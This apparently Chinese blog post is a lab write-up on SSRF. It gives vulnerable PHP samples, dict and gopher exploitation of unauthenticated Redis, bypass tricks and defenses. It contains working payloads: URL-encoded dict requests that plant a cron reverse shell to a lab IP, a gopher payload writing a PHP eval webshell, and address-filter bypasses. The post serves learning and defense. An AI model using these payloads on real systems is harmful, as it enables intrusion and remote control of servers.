初识SSRF及其利用小结

前言


最近本来打算去实习面试,看到有人分享的某亭实习面试题,备受打击,于是有了这篇文章

漏洞原理:

SSRF,即服务器端请求伪造。一种由攻击者构造形成由服务器发起请求的漏洞。一般情况下,SSRF攻击的应用是无法通过外网访问的,所以需要借助目标服务端进行发起,目标服务器可以链接内网和外网,攻击者便可以通过目标主机攻击内网应用。

漏洞成因:

由于业务需要,服务端程序需要从其他服务器应用中获取数据,例如获取图片、数据等,但是由于服务器没有对其请求的目标地址做过滤和限制,导致黑客可以利用此缺陷请求任意服务器资源,其中就包含隐匿在内网的应用

SSRF一般存在点:

1、服务器主动发起网络请求,例如HTTP/HTTPS/Socket
2、有远程图片加载、下载的地方。(编辑器之类的有远程图片加载啊、头像等等)
3、网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
4、分享功能,通过URL分享网页内容
4、API远程调用
4、一切要求我们输入网址的地方和可以输入ip的地方,只要是服务器可以主动发起网络请求便可能出现

SSRF的危害:

1、对目标服务器所在的内网进行IP存活性扫描和端口扫描
2、识别内网WEB应用指纹,判断应用类型进行攻击
3、利用扫描的指纹信息判断开放的服务,从而对内网的主机进行攻击
4、攻击内外网的WEB应用,主要是GET参数就可以实现的攻击(比如Struts2,SQL注入等)
5、下载内网资源(利用file协议读取本地文件等)
6、利用Redis未授权访问,HTTP CRLF注入达到getshell
7、进行跳板
8、无视cdn
9、使用特定协议攻击应用(gopher、dict、file、FTP/SFTP等)

产生漏洞的函数


file_get_contents()
fsockopen()
curl_exec()

file_get_contents:

<?php
$content=file_get_contents($_GET['url']);
$filename='./images/'.rand().'.jpg';\
file_put_contents($filename,$content);
echo $_POST['url'];
$img="<img src=\"".$filename."\"/>";
if ($img){
    echo $img;
}
else{
    echo "false";
}
?>

这里可以扫描内网存在主机及开放端口
判断内网开放端口:

fsockopen函数:

<?php
$host=$_GET['url'];
$port=$_GET['port'];
# fsockopen(主机名称,端口号码,错误号的接受变量,错误提示的接受变量,超时时间)
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);//打开一个网络连接或者一个Unix套接字连接
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    # fwrite() 函数将内容写入一个打开的文件中。
    fwrite($fp, $out);
    # 函数检测是否已到达文件末尾 ,文件末尾(EOF)
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

fsockopen方法会去模拟一个HTTP协议,它会发送一个HTTP请求。主要就是如果去构造这个HTTP数据包。

fsockopen() 将返回一个文件句柄,之后可以被其他文件类函数调用(例如: fgets()、fgetss()、fwrite()、fclose()、feof()等)。如果调用失败,将返回 FALSE

以上函数是接受url和port来制定socket访问的地址和端口,由于地址和端口用户可控,所以可以用来SSRF漏洞的利用

curl_exec函数是危害最大的函数,也是需要重点讲的函数。

漏洞环境:

win7 + phpstudy
漏洞源码:

<?php
$url=@$_GET['url'];
$ch=curl_init();//初始化一个新的curl会话,返回一个cURL句柄
curl_setopt($ch, CURLOPT_URL, $url);//设置一个cURL传输选项 需要获取的URL地址
curl_setopt($ch, CURLOPT_HEADER, 0);//启用时会将头文件的信息作为数据流输出
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$res=curl_exec($ch);//执行一个cURL会话
curl_close($ch);
echo $res;//有回显
//无回显
if($res){
    echo "True";
}else{
    echo "False";
}
?>

获取参数url的值,使用curl进行访问。

curl_exec的使用需要3个条件:

1、PHP版本>=5.3
2、开启extension=php_curl.dll
3、--wite-curlwrappers(编译PHP时用,此时不需要,可忽略)

同时需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境

SSRF靶机(Windows 7):192.168.107.140
内网主机(kali):192.168.107.129,存在redis未授权

漏洞确认:


设置代理尝试抓包,这里看到是能够正常抓到包的:

而当我们访问ssrf.php?url=http://www.baidu.com时,无法抓到包,这是因为这个请求是由服务端发起的:

利用VPS监听本地端口

python3 -m http.server

构造一个特殊的接口或者文件名进行访问:

接收到数据包证实存在SSRF漏洞

漏洞利用:


有回显的情况:

1、利用file协议实现本地任意文件读取:

读取php文件:

2、探测内网存活主机及开放端口:

通过响应时间长短、标题等多种因素判断内网存活主机:

3、对内网WEB应用进行指纹识别:

利用dict协议可以操作redis服务:

利用contrab计划任务反弹shell

/ssrf.php?url=dict://192.168.107.129:6379/config+set+dir+/var/spool/cron/crontabs
/ssrf.php?url=dict://192.168.107.129:6379/set+dbfilename+root
/ssrf.php?url=dict://192.168.107.129:6379/set+book4yi+%22%5cn%5c%6e%2a%2f1%20%2a%20%2a%20%2a%20%2a%20%2fbin%2fbash%20%2di%3e%26%2fdev%2ftcp%2f192%2e168%2e107%2e137%2f8000%200%3e%261%5cn%5cn%22
/ssrf.php?url=dict://192.168.107.129:6379/save

攻击redis:


这里利用的是gopher协议,gopher协议是ssrf利用中最强大的协议。

gopher协议在各个编程语言中的使用限制:

gopher协议支持发出get、post请求。如果发起post请求,回车换行需要使用%0d%0a,如果多个参数,参数之间的&也需要进行URL编码。

gopher发送的数据包为十六进制数据。人工转换比较麻烦,这里我们利用一个负责转换gopher的payload的工具:
项目地址:https://github.com/firebroo/sec_tools/tree/master/common-gopher-tcp-stream

编译后,执行命令如下命令,用于监听网卡:

./sniffer -p6379 

本地搭建好redis服务后,开启sniffer捕捉,并立即输入info命令查看redis服务,sniffer捕捉到的即为payload

gopher协议格式为 gopher://ip:port/_ + payload
这里之所以要加个_是因为gopher://ip:port/后面的第一个字符无法传出

这里我们将payload拷贝到burp数据包,第一次进行尝试,Kali主机监听6389:

目标主机并没有收到相应的请求,使用curl命令发送进行第二次尝试:

curl 'gopher://192.168.107.129:6379/_%2a%31%0d%0a%24%34%0d%0a%69%6e%66%6f%0d%0a'

可以看到成功执行命令,获取相关信息。可是现实中目标主机处于内网,不能这样利用

在网上查了查资料后,发现因为在PHP在接收到参数后会做一次URL的解码,正如我们上图所看到的,%20等字符已经被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要进行二次URL编码

注意:URL中的/不能进行两次编码,端口号不可以两次编码,协议名称不可两次转码

这里虽然显示500,但目标主机成功收到监听到相应请求,说明利用成功

这里我们利用向网站根目录写入一句话的方式getshell:

完整的payload为:

%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%34%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%72%65%64%69%73%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%32%39%0d%0a%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%70%61%73%73%5d%29%3b%20%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a

构造burp数据包,发送恶意payload,这里将payload全部进行url编码:

成功写入一句话至站点根目录。
这里我们利用curl也可以

小结一下:
1、如果redis不存在未授权,需要先得到密码,然后利用auth命令获取认证:127.0.0.1:6379>auth 密码,再通过gopher协议发送
2、通过dict协议的话要一条条命令地执行,而gopher协议执行一条命令就够了

绕过方案:


1、利用@符号

ssrf.php?url=http://www.test.com@127.0.0.1:80

相当于访问127.0.0.1

2、利用短地址
使用在线短链生成器:短链在线生成 - 站长工具

3、利用特殊域名

http://127.0.0.1.xip.io/    # 会解析成本地的127.0.0.1
http://www.owasp.org.127.0.0.1.xip.io/
http://mysite.10.0.0.1.xip.io 
http://foo.bar.10.0.0.1.xip.io

4、利用进制转换:
利用十六进制或者八进制,例如目标IP为:192.168.107.129
分别将这四段数字转换为16进制和8进制
16进制:c0、a8、6b、81
8进制:300、250、153、201
访问的时候加0表示使用八进制(可以是一个0也可以是多个0)十六进制加0x
进制转换 - 在线工具

5、绕过localhost通过[::]
http://[::]:80/
http://0000::1:80/

本地复现失败

5、URL跳转绕过:http://www.hackersb.cn/redirect.php?url=http://192.168.0.1/

防御方案:


1、禁止302跳转,或者没跳转一次都进行校验目的地址是否为内网地址或合法地址。
2、过滤返回信息,验证远程服务器对请求的返回结果,是否合法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。
3、禁用高危协议,例如:gopher、dict、ftp、file等,只允许http/https
4、设置URL白名单或者限制内网IP(使用gethostbyname()判断是否为内网IP)
5、限制请求的端口为http的常用端口,比如 80、443、8080、8090。或者根据业务需要治开放远程调用服务的端口
6、统一错误信息,避免黑客通过错误信息判断端口对应的服务
感谢各位师傅的无私分享!

参考如下:


SSRF漏洞利用
SSRF服务器端请求伪造漏洞基础 - 知乎
SSRF漏洞中使用到的其他协议(附视频+Py)
Gopher协议在SSRF漏洞中的深入研究(附视频讲解)

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 206,482评论 6 481
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 88,377评论 2 382
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 152,762评论 0 342
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 55,273评论 1 279
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 64,289评论 5 373
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 49,046评论 1 285
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,351评论 3 400
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,988评论 0 259
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,476评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,948评论 2 324
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,064评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,712评论 4 323
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,261评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,264评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,486评论 1 262
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,511评论 2 354
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,802评论 2 345